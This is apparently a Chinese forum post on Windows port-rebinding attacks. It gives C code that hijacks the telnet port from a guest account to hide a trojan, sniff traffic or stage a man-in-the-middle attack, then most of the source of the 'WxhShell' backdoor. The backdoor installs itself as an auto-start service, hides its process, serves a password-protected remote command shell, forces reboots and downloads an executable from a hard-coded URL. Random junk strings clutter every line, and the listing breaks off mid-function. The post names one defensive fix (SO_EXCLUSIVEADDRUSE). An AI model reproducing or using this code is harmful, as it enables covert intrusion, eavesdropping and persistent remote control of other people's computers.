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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?UR0:f:}oc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $wa{~'  
E&w7GZNt  
  saddr.sin_family = AF_INET; I 34>X`[o  
a-tmq]]E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @1j   
}>|s=uGW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  /maJtX'  
W@IQ^ }E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,qwuLBW  
Dy&i&5E.-l  
  这意味着什么?意味着可以进行如下的攻击: ATyEf5Id_  
Ix}sK"}[n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {Xy5pfW Q  
4_lrg|X1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1I6px$^E\  
r;2^#6/Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RB\uK 1+  
>:!5*E5?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _f,C[C[e&  
djZqc5t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S hWJ72c  
29b9`NXt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e9tjw[+A  
WU` rh^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cjY-y-vO  
6MW{,N  
  #include P+sW[:  
  #include 3?yg\  
  #include ]EAO+x9  
  #include    i]4I [!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n@i HFBb  
  int main() T-L||yE,h  
  { vr l-$ii  
  WORD wVersionRequested; sP~<*U.7  
  DWORD ret; b|DdG/O  
  WSADATA wsaData; (t|Zn@uY  
  BOOL val; w9imKVry  
  SOCKADDR_IN saddr; *^4"5X@  
  SOCKADDR_IN scaddr; eByz-,{P  
  int err; e *C(q~PQ  
  SOCKET s; _H%c;z+  
  SOCKET sc; B3I`40#  
  int caddsize; HC8e>kP9b  
  HANDLE mt; '<<t]kK[N  
  DWORD tid;   L*+@>3mu)  
  wVersionRequested = MAKEWORD( 2, 2 ); ITBE|b  
  err = WSAStartup( wVersionRequested, &wsaData ); Llo"MO*sr  
  if ( err != 0 ) { /6* 42[r  
  printf("error!WSAStartup failed!\n"); +'a^f5  
  return -1; !pW0qX\1n  
  } T^KKy0ZGM  
  saddr.sin_family = AF_INET; }0z)5c  
   SH$PwJU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~mxO7cy5Cg  
7}>EJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ki!0^t:9  
  saddr.sin_port = htons(23); "^-a M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WT=;:j  
  { ~!L} yw  
  printf("error!socket failed!\n"); ]ieeP4*  
  return -1; \b x$i*  
  } *)Zdz9E'1(  
  val = TRUE; f6Ah6tb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CTa57R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oc`H}Wvn  
  { X"Swi&4  
  printf("error!setsockopt failed!\n"); NLqzi%s  
  return -1; TJRCH>E[a  
  } ^h6tr8yn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R 9\*#c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %u'u kcL7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6&x@.1('z  
7:1Lol-V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c@7rqHU-0  
  { p5iuYHKk?  
  ret=GetLastError(); ez$(c  
  printf("error!bind failed!\n"); R m( "=(  
  return -1; }7Q%6&IR  
  } 5b*C1HS@X  
  listen(s,2); 8ib:FF(= u  
  while(1) a~w$#fo"`f  
  { L8B! u9%  
  caddsize = sizeof(scaddr); K|, .C[  
  //接受连接请求 1+s;FJ2}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g- gV2$I  
  if(sc!=INVALID_SOCKET) K"MX!  
  { y6a3t G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0H:X3y+  
  if(mt==NULL) WsB?C&>x  
  { @ 6vIap|  
  printf("Thread Creat Failed!\n"); W<g1<z\f  
  break; fJg+Ryo  
  } H:| uw  
  } 9'B `]/L  
  CloseHandle(mt); |BXg/gW  
  } Zh~'9 JH  
  closesocket(s); yWSGi#)1  
  WSACleanup(); x q h  
  return 0; <hyKu  
  }   /{I$#:M  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2,b$7xaf  
  { !nnC3y{G  
  SOCKET ss = (SOCKET)lpParam; > (<f 0  
  SOCKET sc; $& c*'3  
  unsigned char buf[4096]; _[BP 0\dPW  
  SOCKADDR_IN saddr; hZb_P\1X  
  long num; /n&&Um\  
  DWORD val; @0''k  
  DWORD ret; jP.dDYc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8s@3hXD&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >t+P(*u  
  saddr.sin_family = AF_INET; nw<uyaU-t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [a(#1  
  saddr.sin_port = htons(23); xmoxZW:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :3 mh@[V  
  { +}AI@+  
  printf("error!socket failed!\n"); pb,d'z\S  
  return -1; ;^L(^Hx  
  } -~w'Xo#  
  val = 100; $??I/6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HPVEnVn  
  { 2=}FBA,2  
  ret = GetLastError(); x8|J-8A(  
  return -1; Hl=xW/%6y  
  } 2\$oV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yHaGkm  
  { c71y'hnT  
  ret = GetLastError(); dE3) | %  
  return -1; | -H& o]  
  } Id9TG/H7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) er\|i. Y  
  { L~3Pm%{@A  
  printf("error!socket connect failed!\n"); 0jfuBj5!  
  closesocket(sc); 4+tEFxvX&  
  closesocket(ss); 4qa.1j(R/  
  return -1; U<XG{<2  
  } "dlV k~  
  while(1) x{n=;JD  
  { ;Rf'P}"]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LzL So"n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E{(;@PzE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xIn:ZKJ'  
  num = recv(ss,buf,4096,0); :4|4=mkr  
  if(num>0) !)$Zp\Sg  
  send(sc,buf,num,0); ~TtiO#,t  
  else if(num==0) `]aeI'[}R  
  break; rm_Nn8p,  
  num = recv(sc,buf,4096,0); Hn:Crl y#  
  if(num>0) 7+*WH|Z@  
  send(ss,buf,num,0); ^.y\(=  
  else if(num==0) iy"*5<;*DD  
  break; %iB,IEw  
  } O6Y0XL  
  closesocket(ss); 9+N-eW_U  
  closesocket(sc); ="e+W@C  
  return 0 ; eS! /(#T  
  } h+,@G,|D  
>Q*Wi  
.+qpk*V\  
========================================================== Bbc^FHip  
2AdDIVYC  
下边附上一个代码,,WXhSHELL unxqkU/<Z  
FI.\%x  
========================================================== X>^fEQq"  
"N#Y gSr  
#include "stdafx.h" 8Fub<UhJ  
Dv6}bx(  
#include <stdio.h> Y:`&=wjP~  
#include <string.h> wC*X4 '  
#include <windows.h> i/.6>4tE:  
#include <winsock2.h> lq uLT6]  
#include <winsvc.h> A}!J$V:w]  
#include <urlmon.h> .\mj4*?/  
HOi`$vX }N  
#pragma comment (lib, "Ws2_32.lib") P<-@h1p,  
#pragma comment (lib, "urlmon.lib") TA\vZGJ('  
k:%%/  
#define MAX_USER   100 // 最大客户端连接数 q\%I#1  
#define BUF_SOCK   200 // sock buffer A%vbhD2;W  
#define KEY_BUFF   255 // 输入 buffer {`_i`  
+ T+#q@  
#define REBOOT     0   // 重启 OTv)  
#define SHUTDOWN   1   // 关机 \7_y%HR  
{RPI]DcO/  
#define DEF_PORT   5000 // 监听端口 zm#  ?W  
iow"n$/  
#define REG_LEN     16   // 注册表键长度 Ul# r  
#define SVC_LEN     80   // NT服务名长度 N>E_%]Ch  
D+c>F5  
// 从dll定义API x1<|hTPk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,: ^u-b|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {{1G`;|v 9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =MWHJ'3-/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3c%caK  
g2]Qv@nxw  
// wxhshell配置信息 u@444Vzg  
struct WSCFG { `@%LzeGz  
  int ws_port;         // 监听端口 ` %}RNC  
  char ws_passstr[REG_LEN]; // 口令 -RLOD\ZBh  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;@J}}h'y  
  char ws_regname[REG_LEN]; // 注册表键名 (At$3b6  
  char ws_svcname[REG_LEN]; // 服务名 @+DX.9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fsXy"#mOkD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d_ CT $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VaPG-n>Vf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eH,or,r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A(XKyEx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j1Ezf=N6`  
4z)]@:`}z  
}; {[F A#  
a.Vuu)+Quw  
// default Wxhshell configuration h`KU\X ) A  
struct WSCFG wscfg={DEF_PORT, <naz+QK'  
    "xuhuanlingzhe", [B3RfCV{  
    1, SWLo|)@[/  
    "Wxhshell", /@5YW"1  
    "Wxhshell", 13f)&#, F  
            "WxhShell Service", )}v l\7=  
    "Wrsky Windows CmdShell Service", P {'b:C  
    "Please Input Your Password: ", 2zpr~cB=  
  1, DwF hK*  
  "http://www.wrsky.com/wxhshell.exe", @|!z9Y*  
  "Wxhshell.exe" Z:gyz$9w  
    }; 7 [7"A  
JS77M-Ac  
// 消息定义模块 6C)_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?ubro0F:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .C(tMF]D,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '>" 4  
char *msg_ws_ext="\n\rExit."; ^@]3R QB  
char *msg_ws_end="\n\rQuit."; a{e4it  
char *msg_ws_boot="\n\rReboot..."; \NC3'G:Ii  
char *msg_ws_poff="\n\rShutdown..."; Mihg:  
char *msg_ws_down="\n\rSave to "; P;*(hY5&  
:EyD+!LJ  
char *msg_ws_err="\n\rErr!"; E"0>yl)  
char *msg_ws_ok="\n\rOK!"; >d6|^h'0  
mc3"`+o  
char ExeFile[MAX_PATH]; 4+ig' |o  
int nUser = 0; {Ha57Wk8D  
HANDLE handles[MAX_USER]; M3AXe]<eC1  
int OsIsNt; Pc9H0\+Xk  
v0y(58Rz.  
SERVICE_STATUS       serviceStatus; 0IpmRH/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /tLVX} &  
0$njMnB2l  
// 函数声明 #;<Y[hR{P  
int Install(void); Js;h%  
int Uninstall(void); hOeRd#AQK  
int DownloadFile(char *sURL, SOCKET wsh); z)"=:o7  
int Boot(int flag); "5 A! jq  
void HideProc(void); f 1d?.)  
int GetOsVer(void); /O9EQPm(  
int Wxhshell(SOCKET wsl); KmF]\:sMD  
void TalkWithClient(void *cs); E.f%H(b  
int CmdShell(SOCKET sock); r=4eP(w=  
int StartFromService(void); @WB@]-+J T  
int StartWxhshell(LPSTR lpCmdLine); nP$9CA  
ElXFeJ%[G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s@C}P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =Sv/IXX\di  
y}H!c;  
// 数据结构和表定义 \Cj B1] I  
SERVICE_TABLE_ENTRY DispatchTable[] = 7 d vnupLh  
{ `x|?&Ytmf9  
{wscfg.ws_svcname, NTServiceMain}, p#Bi>/C6  
{NULL, NULL} Z ]ONh  
}; <}LC~B!  
;PH~<T  
// 自我安装 #1[u (<AS  
int Install(void) =QsYXK7Mn4  
{ =T_g}pu  
  char svExeFile[MAX_PATH]; a9G8q>h]O  
  HKEY key; 4m)n+ll  
  strcpy(svExeFile,ExeFile); [gB+C84%%  
[!z,lY>  
// 如果是win9x系统,修改注册表设为自启动 u4j5w  
if(!OsIsNt) {  XilS!,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P%zK;#8V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CWlw0 X  
  RegCloseKey(key); @.C2LIb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g5yJfRLxp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]{iQ21`a-  
  RegCloseKey(key); $^ P0F9~0  
  return 0; HV.t6@\};  
    } #F#%`Rv1  
  } ]tD]Wx%  
} RZ7@cQY  
else { >/|*DI-HJ  
Uv.)?YeGh  
// 如果是NT以上系统,安装为系统服务 nlYNN/@"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OCUr{Nh  
if (schSCManager!=0) kl`W\tF  
{ HhpDR  
  SC_HANDLE schService = CreateService 68 sB )R  
  ( ;fJ.8C  
  schSCManager, TN.rrop`#g  
  wscfg.ws_svcname, /\Ef%@  
  wscfg.ws_svcdisp, Fp:'M X  
  SERVICE_ALL_ACCESS, @VBcJ{e,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "#]$r  
  SERVICE_AUTO_START, :0ep( <|;  
  SERVICE_ERROR_NORMAL, +H.`MZ=  
  svExeFile, ]A"h&`Cvt  
  NULL, ;]iRk  
  NULL, -%~4W?  
  NULL, liZxBs :%i  
  NULL, q@&6#B  
  NULL J1vR5wbu  
  ); ( =$ x.1  
  if (schService!=0) R2;  
  { 1,~D4lD|  
  CloseServiceHandle(schService); y^k$Us  
  CloseServiceHandle(schSCManager); KP"+e:a%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8QK&_n*  
  strcat(svExeFile,wscfg.ws_svcname); S:Hl/:iV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 74u&%Rj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <[phnU^ 8  
  RegCloseKey(key); yuVs YV@"  
  return 0; GmG 5[?)  
    } AdmC&!nH  
  } :+Z%; Dc  
  CloseServiceHandle(schSCManager); =I4lL]>  
} >Q/Dk7#  
} VQs5"K"  
[e q&C_|D  
return 1; :U\tv[  
} ,bd_:  
5bIw?%dk(  
// 自我卸载 SKtrtm  
int Uninstall(void) OVJ0}5P*  
{ ~dSr5LUD  
  HKEY key; Z G:{[sT  
92c HwWZ!  
if(!OsIsNt) { @7u0v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \!(zrfP{(  
  RegDeleteValue(key,wscfg.ws_regname); ==B6qX8T  
  RegCloseKey(key); ,I9bNO,%JK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BWNi [^]  
  RegDeleteValue(key,wscfg.ws_regname); >eaaaq9B-  
  RegCloseKey(key); so; ]&  
  return 0; G5!^*jf  
  } \^LFkp  
} <$YlH@;)`a  
} vIvIfE  
else { "N;EL0=  
=*Lfl'sr_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *hrvYil2b  
if (schSCManager!=0) teP<!RKNb  
{ t7pFW^&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jo7\`#(Q  
  if (schService!=0) t:S+%u U  
  { LP-o8c  
  if(DeleteService(schService)!=0) { =AT."$r>  
  CloseServiceHandle(schService); So6x"1B  
  CloseServiceHandle(schSCManager); IgzQr >  
  return 0; 3R/bz0 V>  
  } 'R)Tn!6  
  CloseServiceHandle(schService); KoRV %@I  
  }  \*da6Am  
  CloseServiceHandle(schSCManager); NlqImM=r,  
} yu|>t4#GT  
} TvM~y\s  
2eogY#  
return 1; q)GdD==  
} maZ)cW?  
K}y f>'O  
// 从指定url下载文件 xo)P?-  
int DownloadFile(char *sURL, SOCKET wsh) LD?sh"?b  
{ @iiT<  
  HRESULT hr; _aphkeqd  
char seps[]= "/"; xk5 ]^yDp  
char *token; _{>vTBU4F  
char *file; wL1MENzp*z  
char myURL[MAX_PATH]; T|$H#n}  
char myFILE[MAX_PATH]; *a)n62  
mv><HqDL1  
strcpy(myURL,sURL); TC('H[ ]  
  token=strtok(myURL,seps); #mT"gs  
  while(token!=NULL) `^vE9nW 7  
  { sKWfX Cd  
    file=token;  z} <^jgJ  
  token=strtok(NULL,seps); Sz~OX6L  
  } PnTu  
+q4O D$}  
GetCurrentDirectory(MAX_PATH,myFILE); [^)g%|W  
strcat(myFILE, "\\"); OI*H,Z "  
strcat(myFILE, file); wkq 66?  
  send(wsh,myFILE,strlen(myFILE),0); .}t e>]A*  
send(wsh,"...",3,0); kstIgcI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?< />Z)  
  if(hr==S_OK) 3Vwh|1?  
return 0; D9df=lv mD  
else ~[ jQ!tz  
return 1; |pK !S  
I]575\bA  
} ' QG?nu  
R-:2HRaA  
// 系统电源模块 ?[AD=rUC  
int Boot(int flag) c$,P ~W s'  
{ HQ g^ h  
  HANDLE hToken; ]]mJ']l  
  TOKEN_PRIVILEGES tkp; qM`}{ /i  
x:;kSh  
  if(OsIsNt) { Q8NX)R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e(sk[guvX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bOB \--:]  
    tkp.PrivilegeCount = 1; }EPY^VIw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; do%&m]#;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IPk4 ;,  
if(flag==REBOOT) { .H|-_~Yx|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *|0 -~u%q  
  return 0; uZ5p#M_  
} +z( Lr=G  
else { eDMO]5}Ht  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]lbuy7xj63  
  return 0; M{@(G5  
} =(Mch~  
  } -~0^P,yQ  
  else { hrn+UL:d  
if(flag==REBOOT) { P?\6@_ Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @- xjfC\d  
  return 0; b sX[UF  
} VRMXtQ*1Dm  
else { zdYjF|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r" y.KD^  
  return 0; 2:kH[#  
} CY1Z'  
} .3;;;K9a~]  
uph(V  
return 1; *T/']t  
} Wc#24:OKe3  
+2{Lh7Ks  
// win9x进程隐藏模块 6t$8M[0-U  
void HideProc(void) khe}*y  
{ l-Z4Mq6*L  
j_AACq {.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UVP vOtZj  
  if ( hKernel != NULL ) UfGkTwoo=  
  { 29Ki uP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fex@,I&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3n _htgcv  
    FreeLibrary(hKernel); siI;"?  
  } {.yB'.k?  
{mg2pfhB!  
return; M  >u_4AY  
} QV!up^Zso  
2ESo2  
// 获取操作系统版本 ]DcFySyv  
int GetOsVer(void) HtFDlvdy]  
{ [WmM6UEVS  
  OSVERSIONINFO winfo; iMlWM-wz>O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h0$iOE  
  GetVersionEx(&winfo); &8H'eAA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b=vkiO`2  
  return 1; t_^4`dW`  
  else C]6O!Pb0  
  return 0; )e{aN+  
} Hka2  
L,\Iasv  
// 客户端句柄模块 \hXDO_U  
int Wxhshell(SOCKET wsl) KoT\pY^7\  
{ g#bRT*,L  
  SOCKET wsh; ^W ^OfY  
  struct sockaddr_in client; @dK Tx#gZ  
  DWORD myID; s<Ziegmw|g  
d=(mw_-?  
  while(nUser<MAX_USER) LoV<:|GTI  
{ occ7zcA  
  int nSize=sizeof(client); ]Um/FAW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?4,T}@P  
  if(wsh==INVALID_SOCKET) return 1; 1?}T=)3+$  
DQ3<$0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dN q$}  
if(handles[nUser]==0) h{Y",7] !  
  closesocket(wsh); N7"W{"3D  
else h`q1  
  nUser++; s;e\ pt  
  } &d!GImcxQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Tgv11[  
ll^#JpT[S  
  return 0; <I?Zk80  
} -RwE%  cr  
)7F/O3Tq  
// 关闭 socket %J(:ADu]  
void CloseIt(SOCKET wsh) I9Xuok!0>=  
{ ye&;(30Oq  
closesocket(wsh); 9*g Z-#  
nUser--; jA1 +x:Wq  
ExitThread(0); -n 1 v3  
} P:c w|Q  
{) XTk &"  
// 客户端请求句柄 79gT+~z   
void TalkWithClient(void *cs) N8jIMb'<  
{ C dn J&N{  
TjH][bH5  
  SOCKET wsh=(SOCKET)cs; Y2AJ+ |  
  char pwd[SVC_LEN]; [n@] r2g)3  
  char cmd[KEY_BUFF]; u`W2 +S  
char chr[1]; SUiOJ[5,  
int i,j; ftb\0,-   
j#|ZP-=1_  
  while (nUser < MAX_USER) { -@'FW*b  
Lbgi7|&  
if(wscfg.ws_passstr) { .v K-LHs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pK*TE5]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >MZ/|`[M  
  //ZeroMemory(pwd,KEY_BUFF); r!v\"6:OM  
      i=0; D.:Zx  
  while(i<SVC_LEN) { ?<!|  
y29m/i:  
  // 设置超时 P.cyO3l  
  fd_set FdRead; M`_0C38  
  struct timeval TimeOut; HMXE$d=[  
  FD_ZERO(&FdRead); BmT!aue  
  FD_SET(wsh,&FdRead); i!Ba]n   
  TimeOut.tv_sec=8; Gc?a+T  
  TimeOut.tv_usec=0; ,tFg4k[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YK_ 7ip.a[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rcuz(yS8  
1 MFbQs^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x}4q {P5$  
  pwd=chr[0]; 9hl_|r~%*  
  if(chr[0]==0xd || chr[0]==0xa) { 81F9uM0  
  pwd=0; 10&8-p1/mc  
  break; #!=tDc &  
  } E .h*g8bXe  
  i++; 5xiEPh  
    } KI.unP%  
&]Tmxh(  
  // 如果是非法用户,关闭 socket k$VlfQ'+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X$ D6Ey  
} *~`(RV  
Ry&6p>-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gGYKEq{j(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  7GGUV  
+@UV?"d  
while(1) { i b m4fa  
\U0Q<ot/7  
  ZeroMemory(cmd,KEY_BUFF); y =@N|f!  
ZSw.U:ep$s  
      // 自动支持客户端 telnet标准   6)J#OKZ  
  j=0; st*gs-8jJ;  
  while(j<KEY_BUFF) { /Oono6j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *8q.YuZ  
  cmd[j]=chr[0]; +ZYn? #IQ  
  if(chr[0]==0xa || chr[0]==0xd) { !D6]JPX  
  cmd[j]=0; qs6aB0ln  
  break; 3|7QU ld  
  } %<5'=t'|-U  
  j++; |Tw~@kT@  
    } AA_%<zK  
kAx4fE[c  
  // 下载文件 \e_O4  
  if(strstr(cmd,"http://")) { XW9!p.*.U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A&{Nh` q  
  if(DownloadFile(cmd,wsh)) #ob/p#k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G}*hM$F  
  else )u">it+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *hrd5na  
  } +\'t E~V  
  else { L];b< *d  
Ac6=(B  
    switch(cmd[0]) { %y@AA>x!  
  :&Nbw  
  // 帮助 p_ =z#  
  case '?': { AW .F3hN)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E7hhew  
    break; rNM;ZPF#  
  } ?%86/N>  
  // 安装 w!CNRtM:~  
  case 'i': { 6zkaOA46V  
    if(Install()) B!yr!DWv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3T 9j@N77  
    else -&f$GUTJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C~[,z.FvO  
    break; lr?;*f^3  
    } SuznN L=/$  
  // 卸载 Cw%{G'O   
  case 'r': { c,22*.V/  
    if(Uninstall()) PFR:>^wK2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .hiSw  
    else tkhCw/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;jPXs  
    break; e )ZUO_Q$  
    } Si,6o!0k  
  // 显示 wxhshell 所在路径 _|p8M!  
  case 'p': { Q?T]MUY(L  
    char svExeFile[MAX_PATH]; VpUAeWb  
    strcpy(svExeFile,"\n\r"); &zhAh1m  
      strcat(svExeFile,ExeFile); f?b"iA(6  
        send(wsh,svExeFile,strlen(svExeFile),0); P2!C|SLK  
    break; zX~MC?,W1  
    } l,: F  
  // 重启 Q&&@v4L   
  case 'b': { JRFtsio*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )+M0Y_r  
    if(Boot(REBOOT)) hSMH,^Io$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Q =N n  
    else { "3hMq1NQ`g  
    closesocket(wsh); 5IN(|B0  
    ExitThread(0); F?cK- .  
    } }Lv;!  
    break; 2tLJU  Z1  
    } eQ"E   
  // 关机 hcc/=_hA  
  case 'd': { -&;TA0~;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S$3JMFA  
